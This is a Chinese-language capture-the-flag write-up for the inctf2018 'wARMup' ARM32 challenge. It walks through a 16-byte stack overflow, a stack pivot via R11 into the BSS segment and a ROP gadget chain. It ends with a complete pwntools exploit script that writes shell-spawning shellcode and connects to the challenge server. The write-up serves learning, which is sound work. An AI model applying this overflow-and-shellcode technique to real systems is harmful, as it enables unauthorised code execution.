解题所涉知识点:
泄露或修改内存数据:
- 堆地址:
- 栈地址:
- libc地址:
- BSS段地址:
劫持程序执行流程:ARM_ROP
获得shell或flag:利用shellcode获得shell
题目类型:
ARM_Pwn arm32
相关知识点:
ARM栈迁移
alarm()定时函数
ROPgadget的使用
信息收集总结
题目信息:
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/inctf2018_wARMup]
└─$ file wARMup
wARMup: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=fbe5794e95d6ea5006ea3137c0120ed945acae17, not stripped
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/inctf2018_wARMup]
└─$ checksec --file=wARMup
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 111 Symbols No 0 1wARMup
libc版本:
wp借鉴:pwn_repo/inCTF/inCTF2018_wARMup at master · bash-c/pwn_repo (github.com)
ArmPwn学习_arm pwn 栈迁移-CSDN博客
ARM - SkYe Wiki (mrskye.cn)
核心伪代码分析:
存在利用的的代码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[104]; // [sp+4h] [bp-68h] BYREF
setvbuf(_bss_start, 0, 2, 0);
puts("Welcome to bi0s CTF!");
read(0, buf, 0x78u);
return 0;
}
存在read大概率存在溢出
buf的栈帧
-00000068 buf DCB 104 dup(?)
+00000000 s DCB 4 dup(?)
+00000004
+00000004 ; end of stack variables
可以很清晰的发现存在栈溢出漏洞!
但是可以溢出的长度只有0x78-0x68 等于0x10,但是可以溢出的长度太短了,所以可以考虑使用栈迁移
.text:00010548 SUB SP, R11, #4
.text:0001054C POP {R11,PC}
这里对标x86的栈迁移指令是:
leave
retn
也就是所我们只需要控制R11就可以实现栈迁移!
控制r3寄存器的gadget:
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/inctf2018_wARMup]
└─$ ROPgadget --binary wARMup --only "pop"
Gadgets information
============================================================
0x0001054c : pop {fp, pc}
0x00010364 : pop {r3, pc}
0x000104b8 : pop {r4, pc}
0x000105ac : pop {r4, r5, r6, r7, r8, sb, sl, pc}
Unique gadgets found: 4
分析栈帧:
pwndbg> stack 30
00:0000│ sp 0x40800450 —▸ 0x40832c50 ◂— 0
01:0004│ r1 r3 0x40800454 —▸ 0x408004a4 ◂— 0
02:0008│ 0x40800458 —▸ 0x408004a0 —▸ 0x10558 (__libc_csu_init) ◂— push {r4, r5, r6, r7, r8, sb, sl, lr}
03:000c│ 0x4080045c ◂— 0
04:0010│ 0x40800460 —▸ 0x40831cf0 (_rtld_global_ro) ◂— 0
05:0014│ 0x40800464 —▸ 0x40833244 ◂— ldrbvc r5, [pc], -r0, lsl #30
06:0018│ 0x40800468 —▸ 0x40833178 ◂— andeq r0, r0, r0
07:001c│ 0x4080046c ◂— 0x6e43a318
08:0020│ 0x40800470 ◂— 0x3721d18
09:0024│ 0x40800474 —▸ 0x4096c0ec ◂— '__vdso_clock_gettime'
0a:0028│ 0x40800478 —▸ 0x40835c30 —▸ 0x40850000 ◂— 0x464c457f
0b:002c│ 0x4080047c —▸ 0x408004f0 ◂— 0
0c:0030│ 0x40800480 —▸ 0x40853a5c ◂— 0xf63d4e2e
0d:0034│ 0x40800484 ◂— 0x83d
0e:0038│ 0x40800488 —▸ 0x408004f4 ◂— 0
0f:003c│ 0x4080048c —▸ 0x4080bd38 ◂— cmp r0, #0
10:0040│ 0x40800490 ◂— 1
11:0044│ 0x40800494 ◂— 0
12:0048│ 0x40800498 —▸ 0x4098cb48 (environ) —▸ 0x4080061c —▸ 0x40800731 ◂— 'COLORTERM=truecolor'
13:004c│ 0x4080049c —▸ 0x10580 (__libc_csu_init+40) ◂— asrs r6, r6, #2
14:0050│ 0x408004a0 —▸ 0x10558 (__libc_csu_init) ◂— push {r4, r5, r6, r7, r8, sb, sl, lr}
15:0054│ 0x408004a4 ◂— 0
16:0058│ 0x408004a8 —▸ 0x103d0 (_start) ◂— mov fp, #0
17:005c│ 0x408004ac ◂— 0
... ↓ 3 skipped
1b:006c│ r11 0x408004bc —▸ 0x40866678 (__libc_start_main+276) ◂— 0xeb005de7
报错:
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/inctf2018_wARMup]
└─$ qemu-arm -L ./ ./wARMup
Error while loading /home/kali/Desktop/Pwn/BUU/ARM/inctf2018_wARMup/wARMup: Exec format error
是程序没有可执行权限!
► 0x10548 <main+80> sub sp, fp, #4 SP => 0x21130 (0x21134 - 0x4)
0x1054c <main+84> pop {fp, pc}
pop {fp, pc}
我们通过溢出将r11(也就是fp)寄存器的值修改为bss段的地址,pc寄存器被修改为我们的gadgets
我们调用的gadget则是用来传参的:给r3传入bss段的地址
0x10364 <_init+8> pop {r3, pc} <main+56>
这里的r3被作为参数,pc被移动到main函数的read函数地址,这样read就会向bss段写入shellcode:
MOV R2, #0x78 ; 'x' ; nbytes
MOV R1, R3 ; buf
MOV R0, #0 ; fd
BL read
MOV R3, #0
MOV R0, R3
SUB SP, R11, #4
POP {R11,PC}
前面的时候r11被修改为bss段所以PC就会被移动到bss段执行shellcode
攻击思路总结
存在一个0x10的溢出点,太短了可能无法调用shellcode,又因为本题是使用qemu模拟出来的所以每个区段再靶场上都是可执行的所以只需要通过栈迁移将sp指针指向bss段并向bss段写入shellcode就可以获得flag了
第一步栈溢出构造覆盖main函数的栈帧地址和放回地址,当调用POP {R11,PC}就可以劫持R11和PC寄存器,这样就可以调用gadget,
gadget可以将参数传给r4,将r4的地址改为bss段再调用main_read的gadgets就可以向bss段写入shellcode,并且劫持PC,从而实现栈迁移!
脚本:
import argparse
from pwn import *
from LibcSearcher import *
# Parse command-line arguments
parser = argparse.ArgumentParser(description='Exploit script.')
parser.add_argument('-r', action='store_true', help='Run exploit remotely.')
parser.add_argument('-d', action='store_true', help='Run exploit in debug mode.')
args = parser.parse_args()
pwnfile = './wARMup'
elf = ELF(pwnfile)
context(log_level='debug', arch=elf.arch, os='linux')
is_remote = args.r
is_debug = args.d
if is_remote:
sh = remote('node5.buuoj.cn', 27037)
else:
if is_debug:
sh = process(["qemu-arm", "-L", "./", "-g", "1234", pwnfile])
else:
sh = process(["qemu-arm", "-L", "./", pwnfile])
def mygdb():
if not is_remote and is_debug:
gdb.attach(sh, """target remote localhost:1234
b *0x10540
b *0x1053C
""") # brva 0xe93 b *0x4008c0
mygdb()
padding = 100#104
pop_r3_pc = 0x00010364
main_read = 0x00010530
payload = padding*b'a'+p32(elf.bss()+0x100)
payload += p32(pop_r3_pc)+p32(elf.bss()+0x100)+p32(main_read)
shellcode = asm(shellcraft.sh())
sh.recvuntil("!\n")
sh.send(payload)
sleep(0.5)
sh.send(p32(elf.bss()+0x100+0x4)+shellcode)
sh.interactive()